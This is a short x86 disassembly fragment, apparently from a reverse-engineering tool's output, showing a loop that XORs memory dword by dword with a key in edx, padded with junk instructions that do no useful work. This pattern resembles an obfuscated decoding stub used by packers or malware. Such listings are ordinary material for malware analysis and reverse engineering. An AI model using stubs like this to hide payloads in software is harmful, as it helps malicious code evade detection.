or ebx, esi
mov ebx, 0x63c513b7
xor dword [ecx], edx
and esi, ebx
mov ebx, esi
mov esi, 0x35c4ef4f
inc ecx
and esi, ebx
sub ebx, ebx
cmp ecx, eax
jne fcn.0043b667
add esi, ebx
ret